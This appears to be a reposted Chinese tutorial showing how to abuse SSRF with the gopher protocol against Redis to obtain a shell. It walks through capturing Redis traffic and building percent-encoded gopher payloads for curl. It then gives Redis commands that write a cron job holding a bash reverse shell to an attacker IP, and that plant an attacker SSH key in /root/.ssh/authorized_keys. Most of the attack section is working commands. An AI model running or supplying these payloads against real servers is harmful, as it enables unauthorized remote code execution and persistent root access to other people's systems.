您好,登錄后才能下訂單哦!
這篇文章主要為大家展示了“Redis中服務端請求偽造SSRF的示例分析”,內容簡而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領大家一起研究并學習一下“Redis中服務端請求偽造SSRF的示例分析”這篇文章吧。
SSRF,即服務端請求偽造。當服務器需要請求資源時,請求的資源、協議、路徑等可被用戶控制。即可造成SSRF攻擊。
本文著重研究通過 gopher協議 ,對 Redis服務 進行SSRF攻擊,進而getshell。
首先先了解gopher協議為何物,格式是什么樣子:
gopher://<host>:<port>//<gopher-path>_后接TCP數據流
在我們測試攻擊redis時,可以使用 linux 自帶的 curl進行測試。
如果使用Centos,為了確保實驗成功,最好將 Centos的 selinux關閉。
關閉 selinux:
setenforce 0
虛擬機裝臺 Centos7即可。
redis安裝:
wget http://download.redis.io/releases/redis-4.0.6.tar.gz //下載redis壓縮包
yum install gcc //安裝make時必備的gcc
tar -xzvf redis-4.0.6.tar.gz //解壓壓縮包 cd redis-4.0.6 //進入壓縮包目錄
make MALLOC=libc //編譯
cd src //編譯完成后會生成一個文件夾src,進入src文件夾
make install //安裝
redis運行:
在 redis-4.0.6 目錄下,redis.conf 是最初始的redis配置文件
redis-4.0.6/src 目錄下,有兩個最重要的可執行文件:
redis-server -- 服務端
redis-cli -- 客戶端
直接運行 服務端程序,即可開啟 redis 服務。
./redis-server
直接運行 客戶端程序,默認連接本地的redis服務:
./redis-cli
首先我們得開啟抓包軟件,捕獲與redis通信的數據包。
在Linux中,可以用tcpdump來抓流量:
tcpdump -i lo -s 0 port 6379 -w redis.pcap
若是抓本地接口的流量,注意是lo不是eth0
我們先登錄,然后執行 set key 操作:
將tcpdump抓到的包導出來,用wireshark打開,追蹤TCP流
只看我們輸入的數據,不看服務端返回的數據,可以看到只有幾行:
在 “顯示和保存數據為” 這一位置,選擇 Hex轉儲,將會得到如下的數據:
其中 畫紅色框的就是一會用到的payload
將所有東西都復制出來,使用編輯器去掉除了紅框以外的所有無關數據
然后給每個十六進制值前加上一個百分號,排成一行即可:
構造 curl 請求:
curl -v 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%6b%65%79%31%0d%0a%24%36%0d%0a%76%61%6c%75%65%31%0d%0a' --output -
回顯:
查詢key:
可以成功設置key。
先配置redis為 需要密碼登錄:
修改redis下的配置文件 redis.conf,搜索 requirepass 關鍵字。
默認 requirepass 是被注釋的,將注釋符號刪除,再在 requirepass 后面填寫想要給 redis 設置的密碼
配置好后啟動 redis 的命令為:
./redis-server redis配置文件路徑
嘗試攻擊有密碼redis:
首先,開啟tcpdump抓包,然后在redis命令行中執行操作:
重新抓流量,和之前一樣操作,發現密碼驗證也就是加多了一個auth命令:
重復上文的步驟即可。
接下來講重點:通過 set key GetShell:
思路:
(1)將反彈shell命令寫到定時任務里,攻擊機只需要開一個netcat端口即可。
(2)寫入ssh-keygen,進行ssh免密登錄。
一個個細細道來。
基本要求:
redis需要是以 root 權限運行,不然寫不到 /var/spool/cron/ 目錄下
1.首先得知道 Linux 下的定時任務是個什么東西:
Linux下設置定時任務命令為 crontab
配置文件為 /etc/crontab
下面這張圖是配置文件里的內容,很好的說明了 crontab 配置的格式
這個配置文件應該只是供參考用的,我們的定時任務需要自己手動寫在 /var/spool/cron/ 目錄下
如果我們要每分鐘執行一次命令 echo1 > /tmp/1.txt
則可以這么操作:
vim /var/spool/cron/root //root是文件名,一般以執行的用戶命名
在文件中寫入
* * * * * root echo1 > /tmp/1.txt
保存退出后,重啟 crontab 服務:
systemctl restart crond.service
即可每一分鐘執行一次該命令
2.接著要知道linux下通過輸入輸出流反彈shell
命令:
/bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1
直接看效果:
這里巧妙的結合了Linux中 文件描述符、重定向符和 /dev/
文件描述符 1 表示標準輸入
文件描述符 2 表示標準輸出
/bin/bash -i 表示的是調用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/192.168.1.105/8888 中。
重定向時加入一個描述符 &,表示直接作為數據流輸入。不加 & 時,重定向默認是輸出到文件里的。
做個實例就清晰明了了
/dev/tcp/ip地址/端口號 是linux下的特殊文件,表示對這個地址端口進行tcp連接
這里我們設置成攻擊機監聽的地址
最后面的 0>&1 。此時攻擊機和靶機已經建立好了連接,當攻擊機進行輸入時,就是這里的 0(標準輸入)
通過重定向符,重定向到 1(標準輸入)中,由于是作為 /bin/bash 的標準輸入,所以就執行了系統命令了。
3.還需要知道Redis如何寫入文件
Redis 中可以導出當前數據庫中的 key 和 value
并且可以通過命令配置導出路徑和文件名:
config set dir /tmp/test //設置導出路徑 config set dbfilename root //設置導出文件名 save //執行導出操作
可以看到,格式非常亂。不過還好linux中的cron不會報錯,只要讀到一行正確配置即可執行。
通過crontab定時任務 getshell
為了能讓linux能夠正確讀到一行,我們在 set key 的時候手動添加 \n(換行)
redis語句:
config set dir /var/spool/cron config set dbfilename root set test1 "\n\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.1.105/8888 0>&1\n\n\n" save
轉換成 gopher協議,進行curl請求:
成功寫入:
成功getshell:
注意:這里有一個坑點。
cron文件不需要寫用戶名,不然會報錯:
(2)ssh免密登錄
在linux中,ssh可配置成免密登錄。
需要修改 ssh 配置文件 /etc/ssh/sshd_config
將
#StrictModes yes
改為
StrictModes no
然后重啟sshd即可
免密登錄條件:
客戶端生成公鑰和私鑰
將公鑰上傳至服務端 即可
在SSRF利用中,同樣需要root權限運行 redis
如果不是root權限,需要能夠 ssh 登錄的用戶權限運行 redis
正常免密登錄流程:
1.客戶端先生成公鑰和私鑰
使用工具 ssh-keygen:
ssh-keygen -t rsa
執行完畢后將會在 用戶家目錄中的 .ssh文件夾中放有公鑰與私鑰 文件
有.pub后綴的就是公鑰,沒有.pub后綴的就是私鑰
2.上傳公鑰至服務器
將公鑰上傳至服務端的 /root/.ssh目錄下
嫌麻煩可以用 ssh-copy-id工具
3.重命名文件為authorized_keys
文件名要重命名為 authorized_keys
authorized_keys 文件內容如下:
如果有多臺客戶端需要免密登錄,新起一行,新行中寫對應的客戶端的公鑰值即可
類似這樣:
4.免密登錄
傳好后即可免密登錄:
ssh免密登錄 getshelll
我們知道了要寫入的文件位置、要寫入的內容(公鑰事先生成好),我們可以構造redis語句了:
//先配置路徑 config set dir /root/.ssh config set dbfilename authorized_keys //寫入公鑰 set test2 "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/unZTA0b1HtFsgjXlWM4Bt65Ubx72z/dkLJrqCJJpfsD+F27uix6J3GWuIKaHurabFR40eJ2EqWWs/FCKpBvnJ+msSWWyn9C8WyWY19HydE9ldIO8SjdoOfQ7pf0Q2dwMKSr6F3L8Dy04ULQsCwGEu8X0fdwCZIggagTwGXWZS/M89APJKSVn7v5jhgRy/dCSGwN5wwFakSQSbWtW396V/iP2svU7IAznqIX4tyZII/DX1751LqA0ufVzIoK1Sc9E87swjupDD4ZGxX6ks676JYQHdZSYHoQioM9kWVsB2ntBfBsIFHu+yX1V9tkTTB0E5eaWuitzzsi8xfAz0xBag3f8wiPvlbuLV/TwOXHABGt1HQNhg5wnfZYnebRNdn5QeDXNY1XtLjc3T9UTYe7FmT6hG+RvI+7OSywDIvaGq+PjAQN1KPOBFJtNG5iha3bYds05zR5LCM8ZzLRTcKP9Djo79fum8iOC8DjrxVp49RilDobr1/oZzn+91YJIq1M= root@kali\n\n\n" //保存 save
改成gopher協議格式:
查看 authorized_keys 文件:
成功免密登錄:
以上是“Redis中服務端請求偽造SSRF的示例分析”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。